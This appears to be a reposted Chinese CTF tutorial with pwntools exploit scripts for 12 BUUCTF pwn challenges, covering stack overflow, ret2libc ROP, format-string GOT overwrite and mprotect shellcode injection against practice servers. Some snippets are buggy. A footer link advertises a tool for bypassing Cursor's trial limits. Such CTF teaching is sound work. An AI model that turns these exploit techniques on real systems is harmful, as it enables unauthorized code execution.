news 2026/6/11 17:46:15

用Python+pwntools复现BUUCTF Pwn题:手把手教你写12个EXP脚本

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
用Python+pwntools复现BUUCTF Pwn题:手把手教你写12个EXP脚本

Python+pwntools实战:12道BUUCTF Pwn题EXP编写全解析

在CTF竞赛中,Pwn题目往往是最具挑战性的环节之一。本文将带你深入理解如何利用Python的pwntools库,高效编写12道BUUCTF Pwn题的EXP脚本。无论你是刚入门的安全爱好者,还是想提升自动化利用效率的CTF选手,这些实战案例都将为你提供清晰的解题思路。

1. 基础栈溢出:从零构建第一个EXP

栈溢出是最基础的Pwn漏洞类型,我们先从最简单的test_your_nc题目开始:

from pwn import * io = remote("node4.buuoj.cn", 26636) context.log_level = 'debug' payload = b'A' * (0x0F + 0x08) # 填充缓冲区+rbp payload += p64(0x401187) # 覆盖返回地址为后门函数 io.sendline(payload) io.interactive()

关键点解析

  • b'A' * N:构造填充字符,N=缓冲区大小+rbp寄存器大小
  • p64():将地址打包为64位小端序格式
  • context.log_level:设置调试信息输出级别

warmup_csaw_2016题目中,我们遇到了类似的场景:

payload = b'A' * (0x40 + 0x08) # 64字节缓冲区+8字节rbp payload += p64(0x40060D) # 跳转到system("cat flag.txt")

2. 变量覆盖与条件绕过技巧

ciscn_2019_n_8题目展示了如何通过精确覆盖变量值来触发后门:

payload = p32(17) * 14 # 连续写入14个17(0x11) io.sendline(payload)

技术细节

  • 使用p32()将整数打包为4字节格式
  • 通过数组越界覆盖关键判断变量
  • 确保覆盖位置和值的精确性

3. 格式化字符串漏洞利用实战

面对[第五空间2019 决赛]PWN5这类格式化字符串漏洞,pwntools提供了便捷的利用方式:

atoi_got = elf.got['atoi'] system_plt = elf.plt['system'] payload = fmtstr_payload(10, {atoi_got: system_plt}) io.sendline(payload) io.sendline(b'/bin/sh\x00') # 触发atoi实际执行system

格式化字符串利用要点

  1. 确定偏移量(本例为10)
  2. 选择要覆盖的GOT表项(atoi)
  3. 构造payload实现任意地址写

4. 高级ROP链构造技术

ciscn_2019_c_1中,我们需要构造完整的ROP链实现ret2libc:

# 第一次攻击:泄露libc地址 rop = ROP(elf) rop.raw(b'A'*88) rop.call(elf.plt['puts'], [elf.got['puts']]) rop.call(elf.sym['main']) # 接收泄露地址并计算libc基址 leak = u64(io.recv(6).ljust(8, b'\x00')) libc.address = leak - libc.sym['puts'] # 第二次攻击:获取shell rop = ROP([elf, libc]) rop.raw(b'A'*88) rop.call(libc.sym['system'], [next(libc.search(b'/bin/sh'))])

ROP技术要点

  • 使用ROP()类简化链构造
  • 分阶段攻击:先泄露地址再获取shell
  • 考虑栈对齐问题(添加ret指令)

5. 内存权限修改与shellcode注入

get_started_3dsctf_2016展示了如何通过mprotect修改内存权限后注入shellcode:

context.arch = 'i386' shellcode = asm(shellcraft.sh()) # 构造ROP链:mprotect + read + shellcode rop = ROP(elf) rop.mprotect(0x80eb000, 0x1000, 7) # 修改bss段权限为RWX rop.read(0, 0x80eb000, len(shellcode)) rop.raw(0x80eb000) # 跳转到shellcode io.sendline(flat({56: rop.chain()})) io.send(shellcode)

关键技术

  • shellcraft模块生成平台相关shellcode
  • mprotect参数计算(地址对齐)
  • 二次交互发送shellcode

6. 特殊场景下的利用技巧

pwn1_sctf_2016题目中,输入转换增加了利用难度:

# 程序将'I'转换为'you',导致长度膨胀 payload = b'I'*20 # 实际变为60字节 payload += p32(0x8048F13) # 覆盖返回地址

应对策略

  • 计算实际填充长度(3倍膨胀)
  • 确保覆盖位置准确
  • 使用GDB验证内存状态

7. pwntools调试技巧大全

高效的调试能大幅提升漏洞利用开发效率:

# 常用调试配置 context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] # GDB附加调试 gdb.attach(io, ''' break *0x400806 continue ''') # 内存泄漏检测 hexdump(io.recv(20))

调试要点

  • 结合IDA反汇编设置断点
  • 监控关键内存区域
  • 验证ROP链执行流程

8. 自动化EXP模板开发

建立个人EXP模板库能显著提高解题效率:

#!/usr/bin/env python3 from pwn import * def exploit(): context.update(arch='amd64', os='linux') # 自动化远程连接 def conn(): if args.REMOTE: return remote("node4.buuoj.cn", PORT) else: return process("./binary") io = conn() # 自动化ROP构建 elf = ELF("./binary") rop = ROP(elf) # 自动化libc解析 def get_leak(func): payload = fit({OFFSET: rop.call(func, [elf.got[func]])}) io.sendline(payload) return u64(io.recv(6).ljust(8, b'\x00')) # 示例利用代码 leak = get_leak('puts') libc = ELF("libc.so.6").address = leak - libc.sym['puts'] # 获取shell rop.call(libc.sym['system'], [next(libc.search(b'/bin/sh'))]) io.sendline(fit({OFFSET: rop.chain()})) io.interactive() if __name__ == "__main__": exploit()

9. 复杂漏洞组合利用案例

jarvisoj_level2展示了如何组合多种技术:

# 既需要栈溢出,又需要参数构造 rop = ROP(elf) rop.system(elf.search(b'/bin/sh').__next__()) rop.exit(0) # 确保程序正常退出 payload = fit({ 0x88+4: rop.chain() # 覆盖返回地址 })

组合技术要点

  • 链式调用多个函数
  • 平衡栈帧
  • 处理函数返回值

10. 防御绕过实战技巧

现代防护机制如NX、ASLR增加了利用难度:

# 绕过NX的方法比较 methods = { 'ret2libc': "利用现有库函数", 'ROP': "拼接代码片段", 'mprotect': "修改内存权限", 'JIT-ROP': "动态构造利用链" } # 绕过ASLR的常用技术 aslr_bypass = [ "信息泄露获取地址", "暴力破解低熵区域", "利用非随机化模块" ]

11. pwntools高级功能详解

掌握这些高级功能将极大提升EXP编写效率:

# 内存操作神器 mem = flat({ 0x40: p64(0xdeadbeef), 0x50: b'/bin/sh\x00' }, length=200) # 自动化字符串格式化 fmt = fmtstr_payload(5, {0x804a010: 0x1337}) # 高级ROP构造 rop = ROP(libc) rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

12. 实战问题排查指南

遇到EXP不工作时的排查步骤:

  1. 验证漏洞触发:确保能稳定控制EIP/RIP
  2. 检查地址计算:所有地址是否考虑ASLR偏移
  3. 确认参数传递:寄存器/栈状态是否符合预期
  4. 调试执行流程:使用GDB单步跟踪
  5. 验证内存权限:确保shellcode所在区域可执行
# 实用的调试代码片段 def debug_rop(rop): print(rop.dump()) with open('rop.txt', 'w') as f: f.write(rop.dump())

通过这12个典型案例的深入分析,我们系统性地掌握了从基础栈溢出到高级ROP的各种利用技术。记住,优秀的Pwn手不仅需要理解漏洞原理,更要具备将复杂攻击流程转化为可靠EXP的能力。建议读者在理解本文示例后,尝试独立解决BUUCTF的其他Pwn题目,逐步构建自己的漏洞利用方法论。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 17:44:58

3步快速上手Mi-Create:小白也能轻松设计小米手表专属表盘

3步快速上手Mi-Create:小白也能轻松设计小米手表专属表盘 【免费下载链接】Mi-Create Unofficial watchface creator for Xiaomi wearables ~2021 and above 项目地址: https://gitcode.com/gh_mirrors/mi/Mi-Create 你是否曾羡慕别人的小米手表上有酷炫的个…

作者头像 李华
网站建设 2026/6/11 17:44:57

Umi-OCR完全指南:5个技巧彻底解决离线文字识别难题

Umi-OCR完全指南:5个技巧彻底解决离线文字识别难题 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片,PDF文档识别,排除水印/页眉页脚,扫描/生成二维码。内置多国语言库…

作者头像 李华
网站建设 2026/6/11 17:40:52

7-Zip文件压缩软件:开源压缩技术的架构演进与性能优化

7-Zip文件压缩软件:开源压缩技术的架构演进与性能优化 【免费下载链接】7z 7-Zip Official Chinese Simplified Repository (Homepage and 7z Extra package) 项目地址: https://gitcode.com/gh_mirrors/7z1/7z 7-Zip作为一款完全免费且开源的压缩软件&#…

作者头像 李华
网站建设 2026/6/11 17:38:14

2025终极指南:AI编程助手破解工具完全解决方案

2025终极指南:AI编程助手破解工具完全解决方案 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your trial requ…

作者头像 李华
网站建设 2026/6/11 17:35:09

3分钟掌握猫抓Cat-Catch:浏览器资源嗅探与媒体下载终极指南

3分钟掌握猫抓Cat-Catch:浏览器资源嗅探与媒体下载终极指南 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾遇到过心仪的视频无…

作者头像 李华